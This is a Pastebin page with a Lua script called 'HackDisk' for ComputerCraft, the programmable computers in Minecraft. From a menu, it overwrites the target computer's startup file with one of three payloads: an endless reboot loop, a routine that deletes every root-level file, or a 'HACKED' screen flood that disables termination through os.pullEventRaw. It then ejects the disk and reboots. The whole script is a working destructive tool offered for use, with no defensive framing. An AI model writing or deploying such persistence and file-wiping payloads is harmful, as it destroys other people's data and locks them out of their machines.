rickydaan

[Lua] [Computercraft] HackDisk Version 1 [ComputerCraft]

Aug 26th, 2012
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.98 KB | None | 0 0
  1. function clear()
  2. shell.run("clear")
  3. end
  4.  
  5. function rebooting()
  6. clear()
  7. sleep(0.00001)
  8. print("Disk drive on side:")
  9. a = read()
  10. disk.eject(a)
  11. os.reboot()
  12. end
  13.  
  14. function main()
  15. clear()
  16. print("System made by Rickydaan.")
  17. print("Select a option with your keyboard")
  18. print("[1] Endless loop[Shutdown loop] (Awesome shit dude)")
  19. print("[2] Clear All files (GnaGna)")
  20. print("[3] You Are Hacked spam")
  21. print("[4] Simply enter the computer")
  22. print("[5] Reboot (Will deploy card")
  23. while not stop do
  24. event, char = os.pullEvent()
  25. if event == "key" then
  26. if char == 2 then
  27. stop = true
  28. file = io.open("startup", "w")
  29. file:write([[
  30. print("[][][][][][][][][]LOL[][][][][][][][][][][]")
  31. os.reboot()
  32. ]])
  33. file:close()
  34. rebooting()
  35. elseif char == 3 then
  36. stop = true
  37. file = io.open("startup", "w")
  38. file:write([[
  39. files = fs.list( "/" )
  40. for index, value in ipairs(files) do
  41.  fs.delete(value)
  42. end
  43. ]])
  44. file:close()
  45. rebooting()
  46. elseif char == 4 then
  47. stop = true
  48. file = io.open("startup", "w")
  49. file:write([[
  50. os.pullEvent = os.pullEventRaw
  51. while true do
  52. shell.run("clear")
  53. a1 = math.random(1,20)
  54. a2 = math.random(1,20)
  55. b1 = math.random(1,20)
  56. b2 = math.random(1,20)
  57. c1 = math.random(1,20)
  58. c2 = math.random(1,20)
  59. d1 = math.random(1,20)
  60. d2 = math.random(1,20)
  61. e1 = math.random(1,20)
  62. e2 = math.random(1,20)
  63. f1 = math.random(1,20)
  64. f2 = math.random(1,20)
  65. g1 = math.random(1,20)
  66. g2 = math.random(1,20)
  67. h1 = math.random(1,20)
  68. h2 = math.random(1,20)
  69. term.setCursorPos(a1,a2)
  70. print("HACKED")
  71. term.setCursorPos(b1,b2)
  72. print("HACKED")
  73. term.setCursorPos(c1,c2)
  74. print("HACKED")
  75. term.setCursorPos(d1,d2)
  76. print("HACKED")
  77. term.setCursorPos(e1,e2)
  78. print("HACKED")
  79. term.setCursorPos(f1,f2)
  80. print("HACKED")
  81. term.setCursorPos(g1,g2)
  82. print("HACKED")
  83. term.setCursorPos(h1,h2)
  84. print("HACKED")
  85. sleep(0.01)
  86. end
  87. ]])
  88. file:close()
  89. rebooting()
  90. elseif char == 5 then
  91. stop = true
  92. clear()
  93. sleep(0.01)
  94. print("Happy Hacking!")
  95. elseif char == 6 then
  96. stop = true
  97. rebooting()
  98. end
  99. end
  100. end
  101. end
  102. main()
Add Comment
Please, Sign In to add comment